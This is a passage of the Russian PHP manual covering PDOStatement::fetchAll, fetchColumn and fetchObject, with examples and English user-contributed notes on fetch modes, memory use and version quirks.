    ["colour"]=>
    string(6) "yellow"
  }
  [2]=>
  object(fruit)#3 (2) {
    ["name"]=>
    string(10) "watermelon"
    ["colour"]=>
    string(4) "pink"
  }
  [3]=>
  object(fruit)#4 (2) {
    ["name"]=>
    string(5) "apple"
    ["colour"]=>
    string(3) "red"
  }
  [4]=>
  object(fruit)#5 (2) {
    ["name"]=>
    string(4) "pear"
    ["colour"]=>
    string(5) "green"
  }
}

Пример #5 Вызов функции для каждой строки

В следующем примере показано поведение метода в режиме выборки PDO::FETCH_FUNC.

<?php
function fruit($name, $colour) {
return "{$name}: {$colour}";
}

$sth = $dbh->prepare("SELECT name, colour FROM fruit");
$sth->execute();

$result = $sth->fetchAll(PDO::FETCH_FUNC, "fruit");
var_dump($result);
?>

Результатом выполнения данного примера будет что-то подобное:

array(3) {
  [0]=>
  string(12) "apple: green"
  [1]=>
  string(12) "pear: yellow"
  [2]=>
  string(16) "watermelon: pink"
  [3]=>
  string(10) "apple: red"
  [4]=>
  string(11) "pear: green"
}

Смотрите также

  • PDO::query() - Подготавливает и выполняет выражение SQL без заполнителей
  • PDOStatement::fetch() - Извлечение следующей строки из результирующего набора
  • PDOStatement::fetchColumn() - Возвращает данные одного столбца следующей строки результирующего набора
  • PDO::prepare() - Подготавливает запрос к выполнению и возвращает связанный с этим запросом объект
  • PDOStatement::setFetchMode() - Устанавливает режим выборки по умолчанию для объекта запроса

User Contributed Notes

shaunc 11-Dec-2022 12:14
Note that \PDO::FETCH_DEFAULT was not introduced until PHP 8.0.7 and 8.1.0. It will throw an undefined constant error in earlier versions.
php at erikthiart dot com 25-Jun-2021 11:21
I am adding this here as I don't seem to find any clear and easy to find examples and explanations of PDO::FETCH_GROUP and how it works by means of an example.

I find this to be one of the most useful modes available in fetchAll() when you need to work with any form of grouping.

In essence, PDO can group results into nested arrays, based on the first field selected.

Example

<?php

$data = $pdo->query('SELECT sex, name, car FROM users')->fetchAll(PDO::FETCH_GROUP);

/* array (
  'male' => array ( 0 =>
    array (
      'name' => 'John',
      'car' => 'Toyota',
    ),
    1 => array (
      'name' => 'Mike',
      'car' => 'Ford',
    ),
  ),
  'female' => array (
    0 => array (
      'name' => 'Mary',
      'car' => 'Mazda',
    ),
    1 => array (
      'name' => 'Kathy',
      'car' => 'Mazda',
    ),
  ),
) */

?>

Tip: If you need to group the data by something other than the first field then you can do it like this as well

<?php
SELECT sex, users.* FROM users
?>
herhor67 at interia dot pl 12-Dec-2020 10:00
I noticed quite a weird (at least for me) behaviour. Maybe it can help someone who will struggle with this too.

<?php
$stmt = new PDOStatement();
$foo  = $stmt->fetchAll();
var_dump($foo);

$stmt = $pdo->prepare('SELECT VERSION()');
$foo  = $stmt->fetchAll();
var_dump($foo);

$stmt = $pdo->prepare("INSERT INTO `tblnm` (date) VALUES (NOW())");
$stmt->execute();
$foo  = $stmt->fetchAll();
var_dump($foo);

$stmt = $pdo->query("INSERT INTO `tblnm` (date) VALUES (NOW())");
$foo  = $stmt->fetchAll();
var_dump($foo);
?>

The first is just an empty object, so $foo === bool(false)
The second one is not executed, so $foo === array(0) {}
The third and fourth throw exception at fetchAll():
"General error: 2014 Cannot execute queries while other unbuffered queries are active. Consider using PDOStatement::fetchAll(). Alternatively, [...] you may enable query buffering by setting the PDO::MYSQL_ATTR_USE_BUFFERED_QUERY attribute."

fetchAll() is already used, and changing the above attribute between true and false changes nothing.
This is probably caused by the INSERT not having any return value. We could use RETURNING in the sql, but it's quite new, so may not yet be supported everywhere.

What finally worked for me, was $pdo->exec() and lastInsertId(), because ID is the only column I needed anyway.
<?php
$count = $pdo->exec('INSERT INTO `tblnm` (date) VALUES (NOW())');
$foo = $pdo->lastInsertId();
var_dump($foo);
?>
Then e.g. $foo === string(2) "93"
geompse at gmail dot com 02-Dec-2020 10:28
There is a breaking change upgrading from PHP<7.4 to PHP 8.0. If your class extend PDOStatement, the PHP 8.0 typed prototype is incompatible :
- PHP 7.4 = public PDOStatement::fetchAll ([ int $fetch_style [, mixed $fetch_argument [, array $ctor_args = array() ]]] ) : array
- PHP 8.0 = public PDOStatement::fetchAll ([ int $mode = PDO::FETCH_BOTH[, mixed ...$args] ]) : array

While they are compatible for a human being, PHP is not enjoying it :
- PHP 7.4 = PHP Warning: Declaration of (your class prototype) should be compatible with (PDOStatement's prototype)
- PHP 8.0 = [PhpCompileError] Declaration of (your class prototype) must be comptable with (PDOStatement's prototype)

Because the first one is a warning, it is not fatal, and you might be happy using PHP 8.0's prototype. My personal solution was to stop extending PDOStatement and thus rewrite associated typing declarations and conditions.
Leonardo Costa linux at linuxmanbr dot com dot br 05-Aug-2019 09:08
Method with Return object (PHP 7.2)

class MySql {

public function __construct()
        {
            parent::__construct();

            try{

                $options = array
                (
                    PDO::MYSQL_ATTR_INIT_COMMAND => "SET NAMES UTF8"
                );

                $this->pdo = new PDO('mysql:host=127.0.0.1;dbname=testuser','dbtest', 'xxxxxxx',$options);
                $this->pdo->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);

            }catch(PDOException $e) {
                print "Error!: " . $e->getMessage() . "<br/>";
                die();
            }
        }

        public function selectAll(string $sql)
        {
            $conn = $this->pdo->query($sql);
            return $conn->fetchAll(PDO::FETCH_OBJ);
        }
}
sidi dot khalifa at live dot fr 19-Jun-2019 09:02
Inject the parameters directly into `fetchAll` instead of using `bindValue`

$query  = "
            SELECT
                    a.total_paid_tax_incl AS prize,
                    a.date_add AS date_add
            FROM orders a
            WHERE a.order_id = :seventeen
                   AND a.name = :name";

// connection (Example in Symfony you use class Connection in namespace Doctrine\DBAL\Connection)
$this->connection->fetchAll($query, ['seventeen' => 70, 'name' => 'Sidi'])
rudigerw at hotmail dot com 26-Apr-2018 09:36
I was blown away that you can actually combine PDO::FETCH_CLASS | PDO::FETCH_CLASSTYPE | PDO::FETCH_UNIQUE, because both PDO::FETCH_CLASSTYPE and PDO::FETCH_UNIQUE say they will use the first column, but it turns out PDO::FETCH_CLASSTYPE goes first and then PDO::FETCH_UNIQUE will use the next column. This way you can create an associative array of objects, with one of the table columns as key. For example a query such as

 'SELECT Class, Id, t.* FROM subscriptions_tbl t'

might give you this result:

Array
(
    [20481086] => WConsumerSubscription Object
        (
            [Variant] => 2
            [_Expiration:WSubscriptionModel:private] => DateTime Object
                (
                    [date] => 2018-08-08 00:00:00.000000
                    [timezone_type] => 3
                    [timezone] => UTC
                )

            [Notes] =>
            [Id] => 20481086
            [_Deleted:protected] => 0
            [_VersionNo:protected] => 2
            [ContactId] =>
            [ConsumerId] => 2
        )

    [21878324] => WAdminSubscription Object
        (
            [Variant] =>
            [_Expiration:WSubscriptionModel:private] =>
            [Notes] =>
            [Id] => 21878324
            [_Deleted:protected] => 0
            [_VersionNo:protected] => 1
            [ContactId] =>
        )
)
lu_kors 22-Jan-2018 08:45
You might find yourself wanting to use FETCH_GROUP and FETCH_ASSOC at the same time, to get your table's primary key as the array key - use FETCH_UNIQUE also, or you will probably get some unintended behaivor:
<?php
// $stmt is some query like "SELECT rowid, username, comment"

//with unique
$results = $stmt->fetchAll(PDO::FETCH_GROUP|PDO::FETCH_ASSOC|PDO::FETCH_UNIQUE);
$results = array(
    1234 => array('username' => 'abc', 'comment' => '[...]'),
    1235 => array('username' => 'def', 'comment' => '[...]'),
);
//without unique
$results = $stmt->fetchAll(PDO::FETCH_GROUP|PDO::FETCH_ASSOC);
// It does work, but not as you might expect:
$results = array(
    1234 => array(0 => array('username' => 'abc', 'comment' => '[...]')),
    1235 => array(0 => array('username' => 'def', 'comment' => '[...]')),
);
?>
Credit to Ant P. for minimal Example (which i shamelessly copied from the note above me). Thanks a lot!
Anonymous 14-Feb-2017 11:24
Be careful when using PDO::FETCH_COLUMN with PDO::FETCH_GROUP. By default, results are grouped by first column (index 0) and second column (index 1) is returned. But, if you provide fetch argument, it wouldn't affect returned column, but grouping column. If grouping column is set explicitly , first columns is returned instead of second.

<?php
$insert = $dbh->prepare("INSERT INTO people(id, gender) VALUES (?, ?)");
$insert->execute(array('2', 'female'));
$insert->execute(array('3', 'female'));
$insert->execute(array('4', 'female'));
$insert->execute(array('5', 'male'));
$insert->execute(array('6', 'male'));

$sth = $dbh->prepare("SELECT gender, id FROM people");
$sth->execute();

/* Group values by the first column */
var_dump($sth->fetchAll(PDO::FETCH_COLUMN|PDO::FETCH_GROUP));
?>
Returns:
<?php
array (size=2)
  'female' =>
    array (size=3)
      0 => string '2' (length=1)
      1 => string '3' (length=1)
      2 => string '4' (length=1)
  'male' =>
    array (size=2)
      0 => string '5' (length=1)
      1 => string '6' (length=1)
?>

But,
<?php
var_dump($sth->fetchAll(PDO::FETCH_COLUMN|PDO::FETCH_GROUP, 0));
?>
returns:
<?php
array (size=2)
  'female' =>
    array (size=3)
      0 => string 'female' (length=1)
      1 => string 'female' (length=1)
      2 => string 'female' (length=1)
  'male' =>
    array (size=2)
      0 => string 'male' (length=1)
      1 => string 'male' (length=1)
?>
and
<?php
var_dump($sth->fetchAll(PDO::FETCH_COLUMN|PDO::FETCH_GROUP, 1));
?>
returns
<?php
array (size=5)
  2 =>
    array (size=1)
      0 => string 'female' (length=1)
  3 =>
    array (size=1)
      0 => string 'female' (length=1)
  4 =>
    array (size=1)
      0 => string 'female' (length=1)
  5 =>
    array (size=1)
      0 => string 'male' (length=1)
  6 =>
    array (size=1)
      0 => string 'male' (length=1)
?>

First column is retuned and grouping is done by provided column index.
simplerezo at gmail dot com 24-Jan-2017 02:52
I still don't understand why FETCH_KEY_PAIR is not documented here (http://php.net/manual/fr/pdo.constants.php), because it could be very useful!

<?php
  var_dump($pdo->query('select id, name from table')->fetchAll(PDO::FETCH_KEY_PAIR));
?>

This will display:
array(2) {
  [2]=>
  string(10) "name2"
  [5]=>
  string(10) "name5"
}
jeroen dot deklerk at hotmail dot com 16-Nov-2016 11:47
I was having trouble with returning PDO query results in arrays, due to the structure of the results of those queries (query array with arrays for results inside). Now when executing a fetchAll() on a query you get the following:

Array ( [0] = Array ( [key1] => "value1", [key2] => "value2") [1] = Array( [key1] => "value1", [key2] => "value2") )

This is a smaller array, but return results in a HUGE database this way and it quickly becomes IMPPOSIBRU to read out the array given.

This is where the glorious foreach comes in! We all know the basic writing of a foreach (foreach ($array as $key => $value) {...}), but with query results there's a twist, as both the $key AND $value variables are arrays, where $key is the array of the query containing the result arrays and $value is/are the result array(s) themselves.

So in this foreach we have to talk directly to $value to get our results! This would look something like this:

<?php

  foreach ($query as $key => $value) {
      return $value["key2"];
  }

?>

This already does the job, but to return them in arrays we have to change our return code a little bit, like so:

<?php

   foreach ($query as $key => $value) {
      return array (
             "key1" => $value["key1"],
             "key2" => $value["key2"]
      );
   }

?>

This foreach loops through the query array, just like the firs one, but the return code just doesn't return the keys representing the result arrays ($key) and returns only keys from inside the result arrays,  stored in $value. This gives us an array looking like this:

Array ( [key1] => "value1", [key2] => "value2")

This should return all the values in your array, if written properly. I'm still having problems with the foreach not returning ALL results, but this note was mainly to show how it can be returned in an array.
Dean S. 30-Oct-2015 08:38
Using fetchAll() with the fetch types PDO::FETCH_GROUP and PDO::FETCH_ASSOC, PDO::FETCH_CLASS will always use the first column in the selected table as the key for the row in the output...
info at yuriblanc dot it 14-Sep-2015 12:48
Something missing in the doc.
If for instance you try to fetchAll(PDO::CLASS, "Class") it sometimes return an array of objects with NULL values, but the count of objects fetched correspond to table rows.

In this way works fine:
fetchAll(PDO::FETCH_CLASS | PDO::FETCH_PROPS_LATE, "Class");

For example

$stm = $pdo->prepare("SELECT * FROM Fruit");
$stm->execute();
$stm->fetchAll(PDO::FETCH_CLASS | PDO::FETCH_PROPS_LATE, "Fruit");
akira at etnforum dot com 13-Mar-2015 07:41
There may be some user who needs to upgrade their MySQL class to PDO class. The way of fetching results were changed from while loop into a foreach loop. For the people who wish to fetch the results in a while loop, here is a simple trick.

<?php

$db = new DB();
$query = $db->prepare("SELECT * FROM CPUCategory");
$query = $db->execute();
$result = $db->fetchAll();
var_dump($result);

?>

The Output will be:
array(2) {
    [0]=> array(2) {
        ["ccatid"]=> int(1)
        ["ccatname"]=> string(5) "Intel"
    }
    [1]=> array(2) {
        ["ccatid"]=> int(2)
        ["ccatname"]=> string(3) "AMD"
    }
}

Never look like the output of old function.
[ORIGINAL STYLE] mysql_fetch_array($query)
[   MYSQL CLASS] $db->fetch_array($query)

And you may give up.
But there is a simple way to use while loop to fetch the results.

<?php

$db = new DB();
$query = $db->prepare("SELECT * FROM CPUCategory");
$query = $db->execute();
$result = $db->fetchAll();
$row = array_shift($result);
// If you need to fetch them now, put it in a while loop just like below:
// while($row = array_shift($result)) { ... }

var_dump($row);

?>

The Output will be in a single array with while loop returns TRUE:
array(2) {
    ["ccatid"]=> int(1)
    ["ccatname"]=> string(5) "Intel"
}

So after fetching this row, while loop runs again and fetch the next row until all row has fetched, then the while loop will return false. (Just like the old function did)

When you need to upgrade to PDO class, not much code needs to be modified and remember.
dyukemedia at gmail dot com 16-Dec-2014 12:15
Getting foreach to play nicely with some data from PDO FetchAll()
I was not understanding to use the $value part of the foreach properly, I hope this helps someone else.
Example:
<?php
$stmt = $this->db->prepare('SELECT title, FMarticle_id FROM articles WHERE domain_name =:domain_name');
            $stmt->bindValue(':domain_name', $domain);
            $stmt->execute();
            $article_list = $stmt->fetchAll(PDO::FETCH_ASSOC);
?>
which gives:

array (size=2)
  0 =>
    array (size=2)
      'title' => string 'About Cats Really Long title for the article' (length=44)
      'FMarticle_id' => string '7CAEBB15-6784-3A41-909A-1B6D12667499' (length=36)
  1 =>
    array (size=2)
      'title' => string 'another cat story' (length=17)
      'FMarticle_id' => string '0BB86A06-2A79-3145-8A02-ECF6EA5C405C' (length=36)

Then use:
<?php
foreach ($article_list as $row => $link) {
  echo  '<a href="'.  $link['FMarticle_id'].'">' . $link['title']. '</a></br>';
  }
?>
janniet at kiekies dot net 27-Oct-2014 02:30
If you want to fetch rows as an object for which you have not defined a class, you can do:
<?php
$result = $q->fetchAll(PDO::FETCH_OBJ);
?>
fractalesque at gmail dot com 09-Jun-2014 04:05
to fetch rows grouped by primary id or any other field you may use FETCH_GROUP with FETCH_UNIQUE:

<?php

//prepare and execute a statement returning multiple rows, on a single one
$stmt = $db->prepare('SELECT id,name,role FROM table');
$stmt->execute();
var_dump($stmt->fetchAll(PDO::FETCH_GROUP | PDO::FETCH_UNIQUE));

//returns an array with the first selected field as key containing associative arrays with the row. This mode takes care not to repeat the key in corresponding grouped array.

$result = array
 (1 => array
   ('name'=>'foo',
    'role'=>'sage',),
  2 => array
   ('name'=>'bar',
    'role'=>'rage',),);

// 'SELECT name,id,role FROM table' would result in that:

$result = array
 ('foo' => array
   ('id'=>1,
    'role'=>'sage',),
  'bar' => array
   ('id'=>2,
    'role'=>'rage',),);

?>
GyoreG 05-Jun-2014 09:14
If you would like to get the result as "key-value-pairs", like:

Array(
    [key1] => "value1"
    [key2] => "value2"
)

then you can do it by calling fetchAll with PDO::FETCH_GROUP | PDO::FETCH_COLUMN parameters.

<?php
  $result = $query->fetchAll(PDO::FETCH_GROUP|PDO::FETCH_COLUMN);
?>
michael dot arnauts at gmail dot com 29-Jan-2014 03:59
If you want to use PDO::FETCH_CLASS but don't like that all the values are of the type string, you can always use the __construct function of the class specified to convert them to a different type.

Another way is using mysqlnd, but it seems I had to recompile PHP for that.

<?php

class Cdr {
    public $a; // int
    public $b; // float
    public $c; // string

    public function __construct() {
        $this->a = intval($this->a);
        $this->b = floatval($this->b);
    }

}

// ...
$arrCdrs = $objSqlStatement->fetchAll(PDO::FETCH_CLASS, 'Cdr');

?>
ramon at monztro dot com 25-May-2012 04:18
If you are trying to call PDOStatement::fetchAll and is not getting the result set as expected (empty instead), check if you called PDOStatement::execute first.

Remember PDOStatement::fetchAll does not execute the query, it just mounts the array.

:)
Hayley Watson 04-Jul-2011 04:48
If you use the PDO::FETCH_CLASS | PDO::FETCH_PROPS_LATE flags to map columns to object properties, fetchAll() will use any __set() method your object has when carrying out the mapping.
Anonymous 25-Jun-2011 02:10
Note that fetchAll() can be extremely memory inefficient for large data sets. My memory limit was set to 160 MB this is what happened when I tried:

<?php
$arr = $stmt->fetchAll();
// Fatal error: Allowed memory size of 16777216 bytes exhausted
?>

If you are going to loop through the output array of fetchAll(), instead use fetch() to minimize memory usage as follows:

<?php
while ($arr = $stmt->fetch()) {
    echo round(memory_get_usage() / (1024*1024),3) .' MB<br />';
    // do_other_stuff();
}
// Last line for the same query shows only 28.973 MB usage
?>
Dennis 10-Jun-2010 08:51
Error:
SQLSTATE[HY000]: General error: 2014 Cannot execute queries while other unbuffered queries are active. Consider using PDOStatement::fetchAll(). Alternatively, if your code is only ever going to run against mysql, you may enable query buffering by setting the PDO::MYSQL_ATTR_USE_BUFFERED_QUERY attribute.

If you're using something like:

while ($row = $query->fetchObject()) {
    [...]
}

try using this instead:

$rows = $query->fetchAll(PDO::FETCH_CLASS, 'ArrayObject');

foreach ($rows as $row) {
    [...]
}
esw at pixeloution dot removeme dot com 18-May-2010 09:17
Interestingly enough, when you use fetchAll, the constructor for your object is called AFTER the properties are assigned. For example:

<?php
class person {
    public $name;

    function __construct() {
       $this->name = $this->name . " is my name.";
    }
}

# set up select from a database here with PDO
$obj = $STH->fetchALL(PDO::FETCH_CLASS, 'person');
?>

Will result in ' is my name' being appended to all the name columns. However if you call it slightly differently:

<?php
$obj = $obj = $STH->fetchAll(PDO::FETCH_CLASS | PDO::FETCH_PROPS_LATE, 'person');
?>

Then the constructor will be called before properties are assigned. I can't find this documented anywhere, so I thought it would be nice to add a note here.
mxrgus 23-Oct-2009 04:22
In method body:

return $pstmt->fetchAll() or die("bad");

will not return correct value, but "1" instead.
Daniel Hofmann 05-May-2009 12:21
PLEASE BE AWARE: If you do an OUTER LEFT JOIN and set PDO FetchALL to PDO::FETCH_ASSOC, any primary key you used in the OUTER LEFT JOIN will be set to a blank if there are no records returned in the JOIN.

For example:
<?php
//query the product table and join to the image table and return any images, if we have any, for each product
$sql = "SELECT * FROM product, image
LEFT OUTER JOIN image ON (product.product_id = image.product_id)";

$array = $stmt->fetchAll(PDO::FETCH_ASSOC);

print_r($array);
?>

The resulting array will look something like this:

Array
(
    [0] => Array
        (
            [product_id] =>
            [notes] => "this product..."
            [brand] => "Best Yet"
            ...

The fix is to simply specify your field names in the SELECT clause instead of using the * as a wild card, or, you can also specify the field in addition to the *. The following example returns the product_id field correctly:

<?php
$sql = "SELECT *, product.product_id FROM product, image
LEFT OUTER JOIN image ON (product.product_id = image.product_id)";

$array = $stmt->fetchAll(PDO::FETCH_ASSOC);

print_r($array);
?>

The resulting array will look something like this:

Array
(
    [0] => Array
        (
            [product_id] => 3
            [notes] => "this product..."
            [brand] => "Best Yet"
            ...
Ant P. 03-Feb-2009 06:37
You might find yourself wanting to use FETCH_GROUP and FETCH_ASSOC at the same time, to get your table's primary key as the array key:
<?php
// $stmt is some query like "SELECT rowid, username, comment"
$results = $stmt->fetchAll(PDO::FETCH_GROUP|PDO::FETCH_ASSOC);

// It does work, but not as you might expect:
$results = array(
    1234 => array(0 => array('username' => 'abc', 'comment' => '[...]')),
    1235 => array(0 => array('username' => 'def', 'comment' => '[...]')),
);

// ...but you can at least strip the useless numbered array out easily:
$results = array_map('reset', $results);
?>
davey at php dot net 02-Nov-2008 06:54
When passing PDO::FETCH_CLASS as the first argument, this method will accept the class name as the second option:

<?php
$query = $pdo->prepare($sql);

$result = $query->execute($values);

if ($result && $query->rowCount() > 0) {
    $records = $query->fetchAll(PDO::FETCH_CLASS, 'Some_Class');
    // $record is now an array of Some_Class objects
}
?>

- Davey
mrshelly at hotmail dot com 30-Oct-2008 07:27
PHP fetchAll Data From SQL Server 2005
if field's data type is varchar(nvarchar), only fetch 255 chars. but the "text" data type is ok.

so, notice! to change the 'varchar' or 'nvarchar' (length > 255) to 'text' data type..

hope to help u.

<?php

$user = 'sa';
$pass = 'pass';

$conn = new PDO('mssql:host=127.0.0.1; dbname=tempdb;', $user, $pass);

$mainSQL = "SELECT field_varchar, field_text FROM table1";
$sth = $conn->prepare($mainSQL);
$sth->setFetchMode(PDO::FETCH_ASSOC);
$sth->execute();
$retRows = $sth->fetchAll();
// the field_varchar field only to fetch 255 chars(max)
// the field_text is ok.

var_dump($retRows);

unset($sth); unset($conn);

?>
harlequin2 at gmx dot de 10-Jun-2008 05:01
There is also another fetch mode supported on Oracle and MSSQL:
PDO::FETCH_ASSOC

> fetches only column names and omits the numeric index.

If you would like to return all columns from an sql statement with column keys as table headers, it's as simple as this:

<?php
$dbh = new PDO("DS", "USERNAME", "PASSWORD");
$stmt = $dbh->prepare("SELECT * FROM tablename");
$stmt->execute();
$arrValues = $stmt->fetchAll(PDO::FETCH_ASSOC);
// open the table
print "<table wdith=\"100%\">\n";
print "<tr>\n";
// add the table headers
foreach ($arrValues[0] as $key => $useless){
    print "<th>$key</th>";
}
print "</tr>";
// display data
foreach ($arrValues as $row){
    print "<tr>";
    foreach ($row as $key => $val){
        print "<td>$val</td>";
    }
    print "</tr>\n";
}
// close the table
print "</table>\n";
?>
Anonymous 01-Jan-2008 11:13
If no rows have been returned, fetchAll returns an empty array.
stas at metalinfo dot ru 18-Oct-2006 06:37
Note, that you can use PDO::FETCH_COLUMN|PDO::FETCH_GROUP pair only while selecting two columns, not like DB_common::getAssoc(), when grouping is set to true.


Возвращает данные одного столбца следующей строки результирующего набора

  • « PDOStatement::fetchAll
  • PDOStatement::fetchObject »
  • PHP Manual
  • PDOStatement
  • Возвращает данные одного столбца следующей строки результирующего набора

PDOStatement::fetchColumn

(PHP 5 >= 5.1.0, PHP 7, PHP 8, PECL pdo >= 0.9.0)

PDOStatement::fetchColumn — Возвращает данные одного столбца следующей строки результирующего набора

Описание

public PDOStatement::fetchColumn(int $column = 0): mixed

Возвращает данные одного столбца следующей строки результирующей таблицы. Если в результате запроса строк больше нет, функция вернёт false.

Замечание:

Не следует использовать PDOStatement::fetchColumn() для получения булевых полей, так как невозможно отличить значение false от отсутствия оставшихся строк результата. Вместо этого используйте метод PDOStatement::fetch().

Список параметров

column

Номер столбца, данные которого необходимо извлечь. Нумерация начинается с 0. Если параметр не задан, PDOStatement::fetchColumn() выберет данные первого столбца.

Возвращаемые значения

Метод PDOStatement::fetchColumn() возвращает значение одного столбца следующей строки результирующего набора или false, если больше нет строк.

Внимание

При вызове метода PDOStatement::fetchColumn() для извлечения данных из результирующего набора невозможно получить значение другого столбца той же строки.

Ошибки

Выдаёт ошибку уровня E_WARNING, если атрибуту PDO::ATTR_ERRMODE установлено значение PDO::ERRMODE_WARNING.

Выбрасывает исключение PDOException, если атрибуту PDO::ATTR_ERRMODE установлено значение PDO::ERRMODE_EXCEPTION.

Примеры

Пример #1 Получение значения первого столбца следующей строки

<?php
$sth = $dbh->prepare("SELECT name, colour FROM fruit");
$sth->execute();

print "Получение значения первого столбца первой строки:\n";
$result = $sth->fetchColumn();
print "name = $result\n";

print "Получение значения второго столбца второй строки:\n";
$result = $sth->fetchColumn(1);
print "colour = $result\n";
?>

Результат выполнения данного примера:

Получение значения первого столбца первой строки:
name = lemon
Получение значения второго столбца второй строки:
colour = red

Смотрите также

  • PDO::query() - Подготавливает и выполняет выражение SQL без заполнителей
  • PDOStatement::fetch() - Извлечение следующей строки из результирующего набора
  • PDOStatement::fetchAll() - Выбирает оставшиеся строки из набора результатов
  • PDO::prepare() - Подготавливает запрос к выполнению и возвращает связанный с этим запросом объект
  • PDOStatement::setFetchMode() - Устанавливает режим выборки по умолчанию для объекта запроса

User Contributed Notes

PhoneixSegovia at GOOGLE_MAIL_SERVER dot com 21-Oct-2010 02:13
fetchColumn return boolean false when a row not is found or don't had more rows.
seanferd at assmasterdonkeyranch dot com 25-Jan-2007 03:04
This is an excellent method for returning a column count. For example:

<?php
$db = new PDO('mysql:host=localhost;dbname=pictures','user','password');
$pics = $db->query('SELECT COUNT(id) FROM pics');
$this->totalpics = $pics->fetchColumn();
$db = null;
?>
In my case $pics->fetchColumn() returns 641 because that is how many pictures I have in my db.


Извлекает следующую строку и возвращает её в виде объекта

  • « PDOStatement::fetchColumn
  • PDOStatement::getAttribute »
  • PHP Manual
  • PDOStatement
  • Извлекает следующую строку и возвращает её в виде объекта

PDOStatement::fetchObject

(PHP 5 >= 5.1.0, PHP 7, PHP 8, PECL pdo >= 0.2.4)

PDOStatement::fetchObject — Извлекает следующую строку и возвращает её в виде объекта

Описание

public PDOStatement::fetchObject(?string $class = "stdClass", array $constructorArgs = []): object|false

Извлекает следующую строку и возвращает её в виде объекта. Этот метод
является альтернативой вызову PDOStatement::fetch() с
параметром PDO::FETCH_CLASS или
PDO::FETCH_OBJ.

Когда объект извлечён, его свойства наполняются значениями соответствующих столбцов, и, после этого, вызывается его конструктор.

Список параметров

class

Имя класса создаваемого объекта.

constructorArgs

Элементы этого массива будут переданы в конструктор класса.

Возвращаемые значения

Возвращает новый объект указанного класса, имена свойств которого соответствуют именам столбцов результирующего набора или false в случае возникновения ошибки.

Ошибки

Выдаёт ошибку уровня E_WARNING, если атрибуту PDO::ATTR_ERRMODE установлено значение PDO::ERRMODE_WARNING.

Выбрасывает исключение PDOException, если атрибуту PDO::ATTR_ERRMODE установлено значение PDO::ERRMODE_EXCEPTION.

Смотрите также

  • PDOStatement::fetch() - Извлечение следующей строки из результирующего набора

User Contributed Notes

Val Bancer 11-Oct-2020 03:32
If you want the constructor to be invoked before `fetchObject` sets the properties then `PDOStatement::fetch` method with `PDO::FETCH_PROPS_LATE` argument should be used.
sebastian dot rapetti at alice dot it 10-Jan-2017 08:00
PDOStatement::fetchObject() injects values as string, I needed a conversion type.

I did it including settype() function in class constructor

Below method that find an user by id and return user object instance:

<?php
class UserMapper extends MapperAbstract
{
    //other code
    public function findById(int $userId)
    {
        $pdos = $this->dBase->prepare('SELECT user_id AS objectId, name, description, password, active, created,
        last_update AS lastUpdate FROM user WHERE user_id = :id');

        $pdos->bindParam(':id', $userId, \PDO::PARAM_INT);
        $pdos->execute();

        return $pdos->fetchObject('\DomainObjects\User', array($this->password));
    }
    //other code
}
?>

User class with type handling:

<?php
class User extends DomainObjectAbstract
{
   //other code
    public function __construct(Password $password)
    {
        $this->passwordUtility = $password;

        settype($this->objectId, 'integer');
        settype($this->active, 'integer');
    }
    //other code
}
?>

var_dump() of returned User instance:

<?php
object(DomainObjects\User)[18]
  public 'name' => string 'root' (length=4)
  public 'description' => string 'System User' (length=11)
  public 'password' => string '$2y$11$4IAn6SRaB0osPz8afZC5D.CmTrBGxnb5FQEygPjDirK9SWE/u8YuO' (length=60)
  public 'active' => int 1
  public 'created' => string '2015-02-14 10:39:00' (length=19)
  public 'lastUpdate' => string '2016-08-30 18:46:56' (length=19)
  private 'passwordUtility' =>
    object(Auth\Password)[13]
      protected 'options' =>
        array (size=1)
          'cost' => int 11
  protected 'objectId' => int 1
?>

'objectId' and 'active' are now of the type required
zlk1214 at gmail dot com 18-Feb-2016 01:41
You can access MySQL tables in an objective way. Suppose you have a table named Users that has fields: UserID, UserName, UserPassword, UserBirthday, you can create a PHP class extending DataObject that is associated with this table:
<?php
class User extends DataObject {
    // name: Table Name, key: Primary Key (can be an array), auto: AUTO_INCREMENT field
    protected static $_table = array('name' => 'Users', 'key' => 'UserID', 'auto' => 'UserID');
    // relationships between PHP properties and MySQL field names
    protected static $_propertyList = array('id' => 'UserID', 'name' => 'UserName', 'password' => 'UserPassword', 'birthday' => 'UserBirthday');

    // A method that fetches all users as an array
    public static function GetAll() {
        global $dbh;
        $sql = 'SELECT * FROM Users';
        $stmt = $dbh->query($sql);
        $users = array();
        while ($user = $stmt->fetchObject(__CLASS__)) {
            $users[] = $user;
        }
        return $users;
    }
    // Methods that fetch a specific user
    public static function GetUserByName($name) {}
    public static function GetUserByID($name) {}

    // Methods for the current user object
    public function checkPassword($password) {return $this->password == $password;}
    public function showLink() {return "<a href=\"user.php?i={$this->id}\">{$this->name}</a>";}
}

// Then, you can create an instance of this class to insert a row in your table
$user = new User();
$user->name = 'oct1158';
$user->password = '789012';
$user->useFunction('birthday', 'NOW()');
echo 'Field birthday uses MySQL Function: ', $user->birthday, '<br>';
if ($user->insert()) {
    echo 'New User ID: ', $user->id, '<br>';

    // Update the row
    $user->password = '112233';
    $user->update();
} else {
    echo 'INSERT Failed<br>';
}
// Get a specific user by a query
$sql = 'SELECT * FROM Users WHERE UserName = ?';
$stmt = $dbh->prepare($sql);
$stmt->execute(array('admin'));
$admin_user = $stmt->fetchObject('User');
echo 'Admin ID is ', $admin_user->id, '.<br>';
echo 'Admin Birthday is ', $admin_user->birthday, '.<br>';

// Get all users by a static method of that class
$users = User::GetAll();
echo '<br>';
echo $users[0]->name, ', ', $users[0]->birthday, '<br>';
echo $users[1]->name, ', ', $users[1]->birthday, '<br>';
echo $users[2]->name, ', ', $users[2]->birthday, '<br>';
echo '<br>';

// Create an empty user and then delete it immediately
$user = new User();
$user->insert();
$user->delete();
?>
The DataObject class example:
<?php
class DataObject {
    private $changedFields = array(); // list of updated fields
    private $data = array(); // original row from PDOStatement
    private $funcFields = array(); // fields that use MySQL functions
    // The properties above are private in this class, so even if in your subclass you define some properties named the same, or you associate a property of the same name with a field in your table, they will never influence these properties.
    function __get($property) {
        if (isset($this::$_propertyList[$property])) {
            return $this->data[$this::$_propertyList[$property]]; // access fields by PHP properties
        } else {
            return $this->$property; // throw the default PHP error
        }
    }
    function __set($property, $value) {
        if (isset($this::$_propertyList[$property])) {
            $field = $this::$_propertyList[$property];
            $this->data[$field] = $value; // update $data

            // take down changed fields
            if (!in_array($field, $this->changedFields)) {
                array_push($this->changedFields, $field);
            }
            $index = array_search($field, $this->funcFields);
            if ($index !== false) {
                unset($this->funcFields[$index]);
